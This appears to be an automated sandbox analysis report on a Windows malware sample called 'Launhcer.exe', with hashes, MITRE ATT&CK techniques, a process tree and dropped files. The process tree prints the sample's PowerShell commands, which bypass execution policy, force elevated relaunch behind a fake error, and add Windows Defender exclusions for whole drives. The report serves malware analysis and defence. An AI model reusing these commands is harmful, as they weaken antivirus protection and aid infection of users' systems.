3b1611cdb278a2ba185fb83a7585c1b3a4232e5a4c6c98e88e6e64ff31439934

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-12-2024 09:26

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General

Target

data/appInfo/services/Launhcer.exe
Size

364KB
MD5

e5c00b0bc45281666afd14eef04252b2
SHA1

3b6eecf8250e88169976a5f866d15c60ee66b758
SHA256

542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903
SHA512

2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387
SSDEEP

6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
2160	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
2160	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2824	2028	Launhcer.exe	30
PID 2028 wrote to memory of 2824	2028	Launhcer.exe	30
PID 2028 wrote to memory of 2824	2028	Launhcer.exe	30
PID 2028 wrote to memory of 2824	2028	Launhcer.exe	30
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 2824 wrote to memory of 1588	2824	powershell.exe	32
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 2160	1588	Launcher.exe	33
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35
PID 1588 wrote to memory of 3040	1588	Launcher.exe	35

C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
"C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2160
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
      4⤵
      System Location Discovery: System Language Discovery
      PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
06fe350ed250a0494b44c12248f6b9dd

SHA1
50455cbd767abe7c7ea86e57621b7883703f46dc

SHA256
ea3fb20d95b7cc1840e2f9d486ba29c98c377cccc61ea8b0959d7fca9ed4261f

SHA512
c39fa48da2940d4d54232b1b4c704d1cdb71db3768e70bb86ae43b1d7ebee84c663957a0c497d38419519094cbe48e1b0c88d9f4f4d0b979874a92e97148e96c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3B6D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar3B7F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
bb5220e16f89ef7685772f9700d4114b

SHA1
1b3a8422f753155ac9071022d62c58432e18ab2e

SHA256
6890d477ba76b9535d79c79276a5da0af21e7af49e28804f5229b124ba38e9e1

SHA512
23e887faa7419a9611db5c9137bb721a9fbe07a1d06ae2a61021defe9ffca6a513e0fb00bf267e0171239b7336f976a1bb5d7fb7ba3751627295e21d8594947f

Download Submit
memory/2028-0-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/2824-38-0x0000000073BD1000-0x0000000073BD2000-memory.dmp

Filesize
4KB

Download
memory/2824-39-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-59-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-50-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-40-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-318-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-319-0x0000000073BD0000-0x000000007417B000-memory.dmp

Filesize
5.7MB

Download